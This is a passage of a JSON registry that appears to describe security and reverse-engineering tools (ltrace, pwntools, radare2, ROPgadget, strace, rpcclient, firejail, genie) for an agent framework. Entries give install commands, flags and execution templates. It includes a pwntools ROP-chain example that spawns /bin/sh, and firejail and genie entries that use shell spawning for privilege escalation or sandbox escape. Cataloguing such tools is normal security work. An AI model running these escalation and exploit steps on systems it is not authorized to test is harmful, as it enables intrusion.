    "id": "security-reverse-ltrace",
    "install": [
      {
        "method": "apt",
        "package_name": "ltrace",
        "commands": [
          "apt-get install -y ltrace"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "ltrace",
    "namespace": "security:reverse:ltrace",
    "parameters": [
      {
        "name": "count",
        "type": "boolean",
        "required": false,
        "description": "Count library calls and print summary",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "follow",
        "type": "boolean",
        "required": false,
        "description": "Trace child processes (fork)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "library",
        "type": "string",
        "required": false,
        "description": "Only trace calls from specific library",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Write trace to file instead of stderr",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "pid",
        "type": "integer",
        "required": false,
        "description": "Attach to a running process by PID",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "syscalls",
        "type": "boolean",
        "required": false,
        "description": "Show system calls in addition to library calls",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "timestamp",
        "type": "boolean",
        "required": false,
        "description": "Add timestamp to each trace line",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timecalls",
        "type": "boolean",
        "required": false,
        "description": "Show time spent inside each call",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "filter",
        "type": "string",
        "required": false,
        "description": "Filter calls by name pattern",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "strsize",
        "type": "integer",
        "required": false,
        "description": "Max string display size",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "indent",
        "type": "integer",
        "required": false,
        "default": null,
        "description": "Indent output by nesting depth",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "relative",
        "type": "boolean",
        "required": false,
        "description": "Show relative timestamps",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "tt",
        "type": "boolean",
        "required": false,
        "description": "prefix with full timestamp (usec)",
        "aliases": [
          "-tt"
        ],
        "flag": "-tt"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "run command as user",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "strace",
      "gdb",
      "trace-cmd"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "library-call-log",
        "trace-summary"
      ],
      "consumes": [
        "binary",
        "pid"
      ]
    }
  },
  {
    "_body": "\n# pwntools — CTF Exploit Development Framework\n\npwntools is a Python library designed for CTF (Capture The Flag) binary exploitation. It streamlines common tasks such as assembling shellcode, building ROP chains, connecting to remote services, and debugging exploits locally.\n\n## Key Modules\n\n| Module | Purpose |\n|--------|---------|\n| `pwn.asm` | Assemble and disassemble instructions |\n| `pwn.elf` | ELF binary parsing and patching |\n| `pwn.rop` | Automatic ROP chain building |\n| `pwn.shellcraft` | Shellcode template generation |\n| `pwn.cyclic` | Pattern generation for offset discovery |\n\n## Common Pattern\n\n```python\nfrom pwn import *\n\nelf = ELF('./vuln')\nrop = ROP(elf)\nrop.call('system', [next(elf.search(b'/bin/sh'))])\nio = process('./vuln')\nio.sendline(rop.chain())\nio.interactive()\n```\n",
    "_source": "security-reverse-pwntools.md",
    "allowed-tools": [
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "exploit.development",
      "shellcode.generation",
      "rop.chain",
      "binary.analysis",
      "reverse.patching"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary to analyze"
        }
      ],
      "outputs": [
        {
          "type": "exploit.script",
          "description": "Python exploit script",
          "mime": "text/x-python"
        },
        {
          "type": "exploit.shellcode",
          "description": "Generated shellcode bytes",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Python CTF framework and exploit development library for binary exploitation, shellcode generation, and ROP chain building.",
    "examples": [
      {
        "description": "Check binary security mitigations",
        "command": "python3 -m pwn checksec /bin/ls"
      },
      {
        "description": "Generate cyclic pattern",
        "command": "python3 -c \"from pwn import *; print(cyclic(100))\""
      },
      {
        "description": "Disassemble bytes",
        "command": "python3 -c \"from pwn import *; print(disasm(b'\\\\x90\\\\x90'))\""
      },
      {
        "description": "Assemble instructions",
        "command": "python3 -c \"from pwn import *; print(asm('nop'))\""
      },
      {
        "description": "Convert hex to bytes and back",
        "command": "python3 -c \"from pwn import *; print(unhex('48656c6c6f')); print(hex(b'Hello'))\""
      },
      {
        "description": "Build and send a ROP chain",
        "command": "python3 exploit.py"
      }
    ],
    "execution": {
      "template": "python3 -c \"from pwn import *; {command}\"",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive"
    ],
    "global_vars": {
      "binary": "",
      "command": ""
    },
    "id": "security-reverse-pwntools",
    "install": [
      {
        "method": "pip",
        "package_name": "pwntools",
        "commands": [
          "pip install pwntools"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "pwntools",
    "namespace": "security:reverse:pwntools",
    "parameters": [
      {
        "name": "checksec",
        "type": "boolean",
        "required": false,
        "description": "Check binary security hardening (via checksec script)",
        "aliases": [
          "checksec"
        ],
        "flag": "checksec"
      },
      {
        "name": "asm",
        "type": "string",
        "required": false,
        "description": "Assemble instructions to bytes",
        "aliases": [
          "asm"
        ],
        "flag": "asm"
      },
      {
        "name": "disasm",
        "type": "string",
        "required": false,
        "description": "Disassemble bytes to instructions",
        "aliases": [
          "disasm"
        ],
        "flag": "disasm"
      },
      {
        "name": "cyclic",
        "type": "integer",
        "required": false,
        "description": "Generate cyclic pattern of given length",
        "aliases": [
          "cyclic"
        ],
        "flag": "cyclic"
      },
      {
        "name": "hex",
        "type": "string",
        "required": false,
        "description": "Convert bytes to hex string",
        "aliases": [
          "hex"
        ],
        "flag": "hex"
      },
      {
        "name": "unhex",
        "type": "string",
        "required": false,
        "description": "Convert hex string to bytes",
        "aliases": [
          "unhex"
        ],
        "flag": "unhex"
      },
      {
        "name": "constgrep",
        "type": "string",
        "required": false,
        "description": "Search for constants by regex",
        "aliases": [
          "constgrep"
        ],
        "flag": "constgrep"
      },
      {
        "name": "errno",
        "type": "string",
        "required": false,
        "description": "Look up errno values",
        "aliases": [
          "errno"
        ],
        "flag": "errno"
      },
      {
        "name": "update",
        "type": "boolean",
        "required": false,
        "description": "Update pwntools to the latest version",
        "aliases": [
          "update"
        ],
        "flag": "update"
      },
      {
        "name": "file",
        "type": "string",
        "required": false,
        "default": null,
        "description": "Binary file to analyze",
        "aliases": [
          "--file"
        ],
        "flag": "--file"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "gdb",
      "ropgadget",
      "checksec",
      "pwndbg"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "exploit-script",
        "shellcode",
        "rop-chain"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n\n# radare2 — Reverse Engineering Framework\n\nradare2 is a portable reverse engineering framework providing a complete toolchain for binary analysis, disassembly, debugging, and patching. It features a powerful scriptable console, supports dozens of architectures, and can be extended via plugins.\n\n## Key Commands\n\n| Command | Action |\n|---------|--------|\n| `afl` | List all functions |\n| `pdf @sym.main` | Print disassembly of main |\n| `VV` | Visual graph mode |\n| `pxr @ rsp` | Show stack references |\n| `iz` | List strings in data section |\n\n## Common Workflows\n\n```bash\n# Analyze and list functions\nradare2 -A -q -c \"afl\" /bin/ls\n\n# Disassemble main function\nradare2 -A -q -c \"s sym.main; pdf\" /bin/ls\n```\n",
    "_source": "security-reverse-radare2.md",
    "allowed-tools": [
      "radare2",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "reverse.disassembly",
      "reverse.analysis",
      "reverse.debugging",
      "reverse.patching",
      "reverse.scripting"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary file to analyze"
        }
      ],
      "outputs": [
        {
          "type": "analysis.disassembly",
          "description": "Disassembled code listing",
          "mime": "text/plain"
        },
        {
          "type": "analysis.metadata",
          "description": "Binary analysis metadata",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Advanced reverse engineering framework for binary analysis, disassembly, debugging, and patching with scriptable console.",
    "examples": [
      {
        "description": "Analyze a binary and open interactive shell",
        "command": "radare2 -A /bin/ls"
      },
      {
        "description": "Analyze and run commands non-interactively",
        "command": "radare2 -A -q -c \"afl\" /bin/ls"
      },
      {
        "description": "Open binary in debug mode",
        "command": "radare2 -d /bin/ls"
      },
      {
        "description": "Open with write mode for patching",
        "command": "radare2 -w /bin/ls"
      },
      {
        "description": "Specify architecture and bits",
        "command": "radare2 -a arm -b 32 firmware.bin"
      },
      {
        "description": "Run script against binary",
        "command": "radare2 -A -i analyze.r2 /bin/ls"
      }
    ],
    "execution": {
      "template": "radare2 -A {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "binary": "",
      "command": ""
    },
    "id": "security-reverse-radare2",
    "install": [
      {
        "method": "apt",
        "package_name": "radare2",
        "commands": [
          "apt-get install -y radare2"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "radare2",
    "namespace": "security:reverse:radare2",
    "parameters": [
      {
        "name": "analyze",
        "type": "boolean",
        "required": false,
        "description": "Automatically analyze the binary after loading",
        "aliases": [
          "-A"
        ],
        "flag": "-A"
      },
      {
        "name": "debug",
        "type": "boolean",
        "required": false,
        "description": "Start in debug mode",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode (suppress banners)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "write",
        "type": "boolean",
        "required": false,
        "description": "Open file in write mode for patching",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "script",
        "type": "string",
        "required": false,
        "description": "Run commands from script file",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "command",
        "type": "string",
        "required": false,
        "description": "Run a single command and exit",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "project",
        "type": "string",
        "required": false,
        "description": "Use a project file",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "seek",
        "type": "string",
        "required": false,
        "description": "Seek to a specific address",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "bits",
        "type": "integer",
        "required": false,
        "description": "Set CPU bits (32 or 64)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "arch",
        "type": "string",
        "required": false,
        "description": "Set target architecture",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "eval",
        "type": "string",
        "required": false,
        "description": "Evaluate a configuration variable",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "H",
        "type": "boolean",
        "required": false,
        "description": "display help",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "L",
        "type": "boolean",
        "required": false,
        "description": "list supported plugins/architectures",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "file",
        "type": "string",
        "required": false,
        "default": null,
        "description": "Binary file to analyze"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "no analysis (raw mode)",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "use ragui (web/gtk)",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "show version",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "related_tools": [
      "cutter",
      "ghidra",
      "gdb",
      "rizin"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "disassembly",
        "analysis-metadata",
        "decompiled-code"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n\n# ROPgadget — ROP Gadget Finder\n\nROPgadget scans executables and libraries to find useful gadgets for Return-Oriented Programming (ROP) exploits. It supports ELF, PE, Mach-O, and raw binary formats across multiple architectures.\n\n## Example Output\n\n```\n0x0000000000410ff3 : add byte ptr [rax], al ; jmp 0x410ff0\n0x0000000000411dbf : pop rax ; ret\n0x0000000000411dc0 : pop rdi ; ret\n0x0000000000411dc2 : pop rsi ; ret\n0x0000000000411dc4 : pop rdx ; ret\n```\n\n## Usage Tips\n\n- Use `--badbytes` to filter out gadgets containing null bytes or newlines\n- Combine with pwntools' `ROP()` class for automated chain building\n- Use `--depth` to find longer gadget sequences\n",
    "_source": "security-reverse-ropgadget.md",
    "allowed-tools": [
      "ROPgadget",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "rop.gadget.find",
      "binary.analysis",
      "exploit.development"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary to search for gadgets"
        }
      ],
      "outputs": [
        {
          "type": "rop.gadget.list",
          "description": "List of ROP gadgets found",
          "mime": "text/plain"
        },
        {
          "type": "rop.gadget.json",
          "description": "ROP gadgets in JSON format",
          "mime": "application/json"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool for finding ROP (Return-Oriented Programming) gadgets in binaries for building ROP chains.",
    "examples": [
      {
        "description": "Find all gadgets in a binary",
        "command": "ROPgadget --binary /bin/ls"
      },
      {
        "description": "Filter gadgets excluding bad bytes",
        "command": "ROPgadget --binary /bin/ls --badbytes 0a"
      },
      {
        "description": "Raw mode gadget search for ARM",
        "command": "ROPgadget --rawArch arm --rawMode 32 --binary firmware.bin"
      },
      {
        "description": "Output gadgets as JSON",
        "command": "ROPgadget --binary /bin/ls --json"
      },
      {
        "description": "Search for specific opcodes",
        "command": "ROPgadget --binary /bin/ls --opcode c3"
      }
    ],
    "execution": {
      "template": "ROPgadget --binary {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "binary": ""
    },
    "id": "security-reverse-ropgadget",
    "install": [
      {
        "method": "pip",
        "package_name": "ropgadget",
        "commands": [
          "pip install ropgadget"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "ropgadget",
    "namespace": "security:reverse:ropgadget",
    "parameters": [
      {
        "name": "binary",
        "type": "string",
        "required": false,
        "description": "Binary file to analyze for gadgets",
        "aliases": [
          "--binary"
        ],
        "flag": "--binary"
      },
      {
        "name": "rawArch",
        "type": "string",
        "required": false,
        "description": "Raw architecture (e.g., x86, arm, mips)",
        "aliases": [
          "--rawArch"
        ],
        "flag": "--rawArch"
      },
      {
        "name": "rawMode",
        "type": "string",
        "required": false,
        "description": "Raw mode (e.g., 32, 64)",
        "aliases": [
          "--rawMode"
        ],
        "flag": "--rawMode"
      },
      {
        "name": "opcode",
        "type": "string",
        "required": false,
        "description": "Only search for specific opcodes",
        "aliases": [
          "--opcode"
        ],
        "flag": "--opcode"
      },
      {
        "name": "all",
        "type": "boolean",
        "required": false,
        "description": "Show all gadgets (not just unique)",
        "aliases": [
          "--all"
        ],
        "flag": "--all"
      },
      {
        "name": "badbytes",
        "type": "string",
        "required": false,
        "description": "Bytes to exclude from gadgets",
        "aliases": [
          "--badbytes"
        ],
        "flag": "--badbytes"
      },
      {
        "name": "depth",
        "type": "integer",
        "required": false,
        "description": "Maximum gadget depth in instructions",
        "aliases": [
          "--depth"
        ],
        "flag": "--depth"
      },
      {
        "name": "thumb",
        "type": "boolean",
        "required": false,
        "description": "Use ARM Thumb mode",
        "aliases": [
          "--thumb"
        ],
        "flag": "--thumb"
      },
      {
        "name": "json",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "--json"
        ],
        "flag": "--json"
      },
      {
        "name": "console",
        "type": "boolean",
        "required": false,
        "description": "Use interactive console",
        "aliases": [
          "--console"
        ],
        "flag": "--console"
      },
      {
        "name": "nojop",
        "type": "boolean",
        "required": false,
        "description": "exclude JOP gadgets",
        "aliases": [
          "--nojop"
        ],
        "flag": "--nojop"
      },
      {
        "name": "nosys",
        "type": "boolean",
        "required": false,
        "description": "exclude SYS gadgets",
        "aliases": [
          "--nosys"
        ],
        "flag": "--nosys"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "default": null,
        "description": "Write results to file",
        "aliases": [
          "--output"
        ],
        "flag": "--output"
      },
      {
        "name": "range",
        "type": "string",
        "required": false,
        "default": null,
        "description": "Limit search to address range start-end",
        "aliases": [
          "--range"
        ],
        "flag": "--range"
      },
      {
        "name": "rawEndian",
        "type": "boolean",
        "required": false,
        "description": "set endianness (big/little)",
        "aliases": [
          "--rawEndian"
        ],
        "flag": "--rawEndian"
      },
      {
        "name": "rawVendor",
        "type": "boolean",
        "required": false,
        "description": "set CPU vendor",
        "aliases": [
          "--rawVendor"
        ],
        "flag": "--rawVendor"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "related_tools": [
      "pwntools",
      "pwndbg",
      "ropper"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "rop-gadgets",
        "rop-chain"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n# strace — System Call Tracer\n\nstrace intercepts and records system calls made by a process. It is an indispensable tool for reverse engineering, debugging, and understanding program behavior at the kernel interface level.\n\n## Common Filters\n\n| Expression | Effect |\n|------------|--------|\n| `-e trace=file` | Only file-related syscalls |\n| `-e trace=network` | Only network syscalls |\n| `-e trace=process` | Only process-related syscalls |\n| `-e trace=signal` | Only signal syscalls |\n| `-e read=3` | Show data read from fd 3 |\n\n## Example Output (Count Mode)\n\n```\n% time     seconds  usecs/call     calls    errors syscall\n------ ----------- ----------- --------- --------- ----------------\n 43.28    0.000211           5        40           write\n 28.69    0.000140           5        28           read\n 15.78    0.000077           3        28           openat\n  6.97    0.000034           1        29           close\n```\n",
    "_source": "security-reverse-strace.md",
    "allowed-tools": [
      "strace",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "trace.syscall",
      "reverse.analysis",
      "debug.tracing"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary to trace system calls"
        },
        {
          "type": "system.pid",
          "description": "Process ID to attach to"
        }
      ],
      "outputs": [
        {
          "type": "trace.syscall",
          "description": "System call trace log",
          "mime": "text/plain"
        },
        {
          "type": "trace.summary",
          "description": "Syscall count summary",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System call tracer for monitoring syscalls made by a process, useful for debugging and reverse engineering.",
    "examples": [
      {
        "description": "Count system calls with summary",
        "command": "strace -c /bin/ls"
      },
      {
        "description": "Filter specific syscalls",
        "command": "strace -e trace=open,read,write /bin/ls"
      },
      {
        "description": "Attach to running process",
        "command": "strace -p 1234"
      },
      {
        "description": "Follow child processes",
        "command": "strace -f -o trace.log ./server"
      },
      {
        "description": "Trace with timestamps",
        "command": "strace -t -T /bin/ls"
      },
      {
        "description": "Print instruction pointer with each syscall",
        "command": "strace -i /bin/ls"
      }
    ],
    "execution": {
      "template": "strace -c {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "streaming"
    ],
    "global_vars": {
      "binary": ""
    },
    "id": "security-reverse-strace",
    "install": [
      {
        "method": "apt",
        "package_name": "strace",
        "commands": [
          "apt-get install -y strace"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "strace",
    "namespace": "security:reverse:strace",
    "parameters": [
      {
        "name": "count",
        "type": "boolean",
        "required": false,
        "description": "Count syscalls and print summary",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "follow",
        "type": "boolean",
        "required": false,
        "description": "Trace child processes (fork)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "expr",
        "type": "string",
        "required": false,
        "description": "Filter syscalls by expression",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Write trace to file",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "pid",
        "type": "integer",
        "required": false,
        "description": "Attach to running process by PID",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "strsize",
        "type": "integer",
        "required": false,
        "description": "Max string size to print per string",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "timestamp",
        "type": "boolean",
        "required": false,
        "description": "Prefix each line with timestamp",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timecalls",
        "type": "boolean",
        "required": false,
        "description": "Show time spent in syscalls",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose mode (decode structures)",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "hex",
        "type": "boolean",
        "required": false,
        "description": "Print non-ascii strings in hex",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "relative",
        "type": "boolean",
        "required": false,
        "description": "Print relative timestamps",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "instrPointer",
        "type": "boolean",
        "required": false,
        "description": "Print instruction pointer",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "quiet",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "tt",
        "type": "boolean",
        "required": false,
        "description": "prefix with full timestamp (usec)",
        "aliases": [
          "-tt"
        ],
        "flag": "-tt"
      },
      {
        "name": "ttt",
        "type": "boolean",
        "required": false,
        "description": "prefix with epoch timestamp",
        "aliases": [
          "-ttt"
        ],
        "flag": "-ttt"
      },
      {
        "name": "xx",
        "type": "boolean",
        "required": false,
        "description": "print all strings in hex",
        "aliases": [
          "-xx"
        ],
        "flag": "-xx"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "ltrace",
      "gdb",
      "trace-cmd"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "syscall-log",
        "trace-summary"
      ],
      "consumes": [
        "binary",
        "pid"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rpcclient.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "SMB/CIFS RPC client for MS-RPC protocol operations.",
    "examples": [
      {
        "description": "Display help for rpcclient",
        "command": "rpcclient --help"
      }
    ],
    "execution": {
      "template": "rpcclient --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-rpcclient",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y smbclient"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "rpcclient",
    "namespace": "security:rpc:client",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "rpcclient Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcclient"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# Firejail — SUID Sandbox\n\nFirejail is a SUID sandbox program that restricts the environment of untrusted applications. When the binary itself is available via sudo, it can be used to spawn a shell — and depending on the configuration, potentially escape confinement.\n",
    "_source": "firejail.md",
    "allowed-tools": [
      "firejail",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.sandbox.escape"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SUID sandbox program that can escape confinement to spawn a privileged shell.",
    "examples": [
      {
        "description": "Spawn a shell inside firejail sandbox (potentially break out)",
        "command": "firejail /bin/sh"
      }
    ],
    "execution": {
      "template": "firejail {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-sandbox-firejail",
    "install": [
      {
        "method": "apt",
        "package_name": "firejail",
        "commands": [
          "apt-get install -y firejail"
        ]
      }
    ],
    "name": "firejail",
    "namespace": "security:sandbox:firejail",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Firejail documentation",
        "url": "https://firejail.wordpress.com/"
      }
    ],
    "related_tools": [
      "docker",
      "nsenter"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "genie.md",
    "allowed-tools": [
      "genie",
      "nsenter",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Sandbox wrapper for systemd, can execute commands and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via genie",
        "command": "genie -c /bin/sh"
      }
    ],
    "execution": {
      "template": "genie -c /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-sandbox-genie",
    "install": [
      {
        "method": "apt",
        "package_name": "genie",
        "commands": [
          "apt-get install -y genie"
        ]
      }
    ],
    "name": "genie",
    "namespace": "security:sandbox:genie",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/genie/"
      }
    ],
    "related_tools": [
      "systemd-run",
      "nsenter"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
